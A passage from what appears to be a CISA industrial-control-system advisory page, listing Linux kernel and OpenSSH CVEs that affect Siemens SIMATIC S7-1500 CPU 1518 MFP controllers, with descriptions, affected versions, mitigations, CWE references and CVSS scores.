<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40135</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: use RCU in ip6_xmit() Use RCU in ip6_xmit() in order to use dst_dev_rcu() to prevent possible UAF.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40135">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40149</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tls: Use __sk_dst_get() and dst_dev_rcu() in get_netdev_for_sock(). get_netdev_for_sock() is called during setsockopt(), so not under RCU. Using sk_dst_get(sk)-&gt;dev could trigger UAF. Let's use __sk_dst_get() and dst_dev_rcu(). Note that the only -&gt;ndo_sk_get_lower_dev() user is bond_sk_get_lower_dev(), which uses RCU.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40149">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40219</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: PCI/IOV: Fix race between SR-IOV enable/disable and hotplug Commit 05703271c3cd ("PCI/IOV: Add PCI rescan-remove locking when enabling/disabling SR-IOV") tried to fix a race between the VF removal inside sriov_del_vfs() and concurrent hot unplug by taking the PCI rescan/remove lock in sriov_del_vfs(). Similarly the PCI rescan/remove lock was also taken in sriov_add_vfs() to protect addition of VFs. This approach however causes deadlock on trying to remove PFs with SR-IOV enabled because PFs disable SR-IOV during removal and this removal happens under the PCI rescan/remove lock. So the original fix had to be reverted. Instead of taking the PCI rescan/remove lock in sriov_add_vfs() and sriov_del_vfs(), fix the race that occurs with SR-IOV enable and disable vs hotplug higher up in the callchain by taking the lock in sriov_numvfs_store() before calling into the driver's sriov_configure() callback.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40219">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40261</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nvme: nvme-fc: Ensure -&gt;ioerr_work is cancelled in nvme_fc_delete_ctrl() nvme_fc_delete_assocation() waits for pending I/O to complete before returning, and an error can cause -&gt;ioerr_work to be queued after cancel_work_sync() had been called. Move the call to cancel_work_sync() to be after nvme_fc_delete_association() to ensure -&gt;ioerr_work is not running when the nvme_fc_ctrl object is freed. Otherwise the following can occur: [ 1135.911754] list_del corruption, ff2d24c8093f31f8-&gt;next is NULL [ 1135.917705] ------------[ cut here ]------------ [ 1135.922336] kernel BUG at lib/list_debug.c:52! [ 1135.926784] Oops: invalid opcode: 0000 [#1] SMP NOPTI [ 1135.931851] CPU: 48 UID: 0 PID: 726 Comm: kworker/u449:23 Kdump: loaded Not tainted 6.12.0 #1 PREEMPT(voluntary) [ 1135.943490] Hardware name: Dell Inc. PowerEdge R660/0HGTK9, BIOS 2.5.4 01/16/2025 [ 1135.950969] Workqueue: 0x0 (nvme-wq) [ 1135.954673] RIP: 0010:__list_del_entry_valid_or_report.cold+0xf/0x6f [ 1135.961041] Code: c7 c7 98 68 72 94 e8 26 45 fe ff 0f 0b 48 c7 c7 70 68 72 94 e8 18 45 fe ff 0f 0b 48 89 fe 48 c7 c7 80 69 72 94 e8 07 45 fe ff &lt;0f&gt; 0b 48 89 d1 48 c7 c7 a0 6a 72 94 48 89 c2 e8 f3 44 fe ff 0f 0b [ 1135.979788] RSP: 0018:ff579b19482d3e50 EFLAGS: 00010046 [ 1135.985015] RAX: 0000000000000033 RBX: ff2d24c8093f31f0 RCX: 0000000000000000 [ 1135.992148] RDX: 0000000000000000 RSI: ff2d24d6bfa1d0c0 RDI: ff2d24d6bfa1d0c0 [ 1135.999278] RBP: ff2d24c8093f31f8 R08: 0000000000000000 R09: ffffffff951e2b08 [ 1136.006413] R10: ffffffff95122ac8 R11: 0000000000000003 R12: ff2d24c78697c100 [ 1136.013546] R13: fffffffffffffff8 R14: 0000000000000000 R15: ff2d24c78697c0c0 [ 1136.020677] FS: 0000000000000000(0000) GS:ff2d24d6bfa00000(0000) knlGS:0000000000000000 [ 1136.028765] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1136.034510] CR2: 00007fd207f90b80 CR3: 000000163ea22003 CR4: 0000000000f73ef0 [ 1136.041641] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 1136.048776] DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400 [ 1136.055910] PKRU: 55555554 [ 1136.058623] Call Trace: [ 1136.061074] [ 1136.063179] ? show_trace_log_lvl+0x1b0/0x2f0 [ 1136.067540] ? show_trace_log_lvl+0x1b0/0x2f0 [ 1136.071898] ? move_linked_works+0x4a/0xa0 [ 1136.075998] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.081744] ? __die_body.cold+0x8/0x12 [ 1136.085584] ? die+0x2e/0x50 [ 1136.088469] ? do_trap+0xca/0x110 [ 1136.091789] ? do_error_trap+0x65/0x80 [ 1136.095543] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.101289] ? exc_invalid_op+0x50/0x70 [ 1136.105127] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.110874] ? asm_exc_invalid_op+0x1a/0x20 [ 1136.115059] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.120806] move_linked_works+0x4a/0xa0 [ 1136.124733] worker_thread+0x216/0x3a0 [ 1136.128485] ? __pfx_worker_thread+0x10/0x10 [ 1136.132758] kthread+0xfa/0x240 [ 1136.135904] ? __pfx_kthread+0x10/0x10 [ 1136.139657] ret_from_fork+0x31/0x50 [ 1136.143236] ? __pfx_kthread+0x10/0x10 [ 1136.146988] ret_from_fork_asm+0x1a/0x30 [ 1136.150915]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40261">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1341.html">CWE-1341 Multiple Releases of Same Resource or Handle</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40300</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/vmscape: Add conditional IBPB mitigation VMSCAPE is a vulnerability that exploits insufficient branch predictor isolation between a guest and a userspace hypervisor (like QEMU). Existing mitigations already protect kernel/KVM from a malicious guest. Userspace can additionally be protected by flushing the branch predictors after a VMexit. Since it is the userspace that consumes the poisoned branch predictors, conditionally issue an IBPB after a VMexit and before returning to userspace. Workloads that frequently switch between hypervisor and userspace will incur the most overhead from the new IBPB. This new IBPB is not integrated with the existing IBPB sites. For instance, a task can use the existing speculation control prctl() to get an IBPB at context switch time. With this implementation, the IBPB is doubled up: one at context switch and another before running userspace. The intent is to integrate and optimize these cases post-embargo. [ dhansen: elaborate on suboptimal IBPB solution ]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40300">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/402.html">CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-61984</a></h3>
<div class="csaf-accordion-content">
<p>ssh in OpenSSH before 10.1 allows control characters in usernames that originate from certain possibly untrusted sources, potentially leading to code execution when a ProxyCommand is used. The untrusted sources are the command line and %-sequence expansion of a configuration file. (A configuration file that provides a complete literal username is not categorized as an untrusted source.)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-61984">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/159.html">CWE-159 Improper Handling of Invalid Use of Special Elements</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.6</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-61985</a></h3>
<div class="csaf-accordion-content">
<p>ssh in OpenSSH before 10.1 allows the '\0' character in an ssh:// URI, potentially leading to code execution when a ProxyCommand is used.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-61985">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/158.html">CWE-158 Improper Neutralization of Null Byte or NUL Character</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.6</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68206</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_ct: add seqadj extension for natted connections Sequence adjustment may be required for FTP traffic with PASV/EPSV modes. due to need to re-write packet payload (IP, port) on the ftp control connection. This can require changes to the TCP length and expected seq / ack_seq. The easiest way to reproduce this issue is with PASV mode. Example ruleset: table inet ftp_nat { ct helper ftp_helper { type "ftp" protocol tcp l3proto inet } chain prerouting { type filter hook prerouting priority 0; policy accept; tcp dport 21 ct state new ct helper set "ftp_helper" } } table ip nat { chain prerouting { type nat hook prerouting priority -100; policy accept; tcp dport 21 dnat ip prefix to ip daddr map { 192.168.100.1 : 192.168.13.2/32 } } chain postrouting { type nat hook postrouting priority 100 ; policy accept; tcp sport 21 snat ip prefix to ip saddr map { 192.168.13.2 : 192.168.100.1/32 } } } Note that the ftp helper gets assigned *after* the dnat setup. The inverse (nat after helper assign) is handled by an existing check in nf_nat_setup_info() and will not show the problem. Topoloy: +-------------------+ +----------------------------------+ | FTP: 192.168.13.2 | &lt;-&gt; | NAT: 192.168.13.3, 192.168.100.1 | +-------------------+ +----------------------------------+ | +-----------------------+ | Client: 192.168.100.2 | +-----------------------+ ftp nat changes do not work as expected in this case: Connected to 192.168.100.1. [..] ftp&gt; epsv EPSV/EPRT on IPv4 off. ftp&gt; ls 227 Entering passive mode (192,168,100,1,209,129). 421 Service not available, remote server has closed connection. Kernel logs: Missing nfct_seqadj_ext_add() setup call WARNING: CPU: 1 PID: 0 at net/netfilter/nf_conntrack_seqadj.c:41 [..] __nf_nat_mangle_tcp_packet+0x100/0x160 [nf_nat] nf_nat_ftp+0x142/0x280 [nf_nat_ftp] help+0x4d1/0x880 [nf_conntrack_ftp] nf_confirm+0x122/0x2e0 [nf_conntrack] nf_hook_slow+0x3c/0xb0 .. Fix this by adding the required extension when a conntrack helper is assigned to a connection that has a nat binding.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68206">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/166.html">CWE-166 Improper Handling of Missing Special Element</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68261</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: add i_data_sem protection in ext4_destroy_inline_data_nolock() Fix a race between inline data destruction and block mapping. The function ext4_destroy_inline_data_nolock() changes the inode data layout by clearing EXT4_INODE_INLINE_DATA and setting EXT4_INODE_EXTENTS. At the same time, another thread may execute ext4_map_blocks(), which tests EXT4_INODE_EXTENTS to decide whether to call ext4_ext_map_blocks() or ext4_ind_map_blocks(). Without i_data_sem protection, ext4_ind_map_blocks() may receive inode with EXT4_INODE_EXTENTS flag and triggering assert. kernel BUG at fs/ext4/indirect.c:546! EXT4-fs (loop2): unmounting filesystem. invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 RIP: 0010:ext4_ind_map_blocks.cold+0x2b/0x5a fs/ext4/indirect.c:546 Call Trace: ext4_map_blocks+0xb9b/0x16f0 fs/ext4/inode.c:681 _ext4_get_block+0x242/0x590 fs/ext4/inode.c:822 ext4_block_write_begin+0x48b/0x12c0 fs/ext4/inode.c:1124 ext4_write_begin+0x598/0xef0 fs/ext4/inode.c:1255 ext4_da_write_begin+0x21e/0x9c0 fs/ext4/inode.c:3000 generic_perform_write+0x259/0x5d0 mm/filemap.c:3846 ext4_buffered_write_iter+0x15b/0x470 fs/ext4/file.c:285 ext4_file_write_iter+0x8e0/0x17f0 fs/ext4/file.c:679 call_write_iter include/linux/fs.h:2271 [inline] do_iter_readv_writev+0x212/0x3c0 fs/read_write.c:735 do_iter_write+0x186/0x710 fs/read_write.c:861 vfs_iter_write+0x70/0xa0 fs/read_write.c:902 iter_file_splice_write+0x73b/0xc90 fs/splice.c:685 do_splice_from fs/splice.c:763 [inline] direct_splice_actor+0x10f/0x170 fs/splice.c:950 splice_direct_to_actor+0x33a/0xa10 fs/splice.c:896 do_splice_direct+0x1a9/0x280 fs/splice.c:1002 do_sendfile+0xb13/0x12c0 fs/read_write.c:1255 __do_sys_sendfile64 fs/read_write.c:1323 [inline] __se_sys_sendfile64 fs/read_write.c:1309 [inline] __x64_sys_sendfile64+0x1cf/0x210 fs/read_write.c:1309 do_syscall_x64 arch/x86/entry/common.c:51 [inline] do_syscall_64+0x35/0x80 arch/x86/entry/common.c:81 entry_SYSCALL_64_after_hwframe+0x6e/0xd8</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68261">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
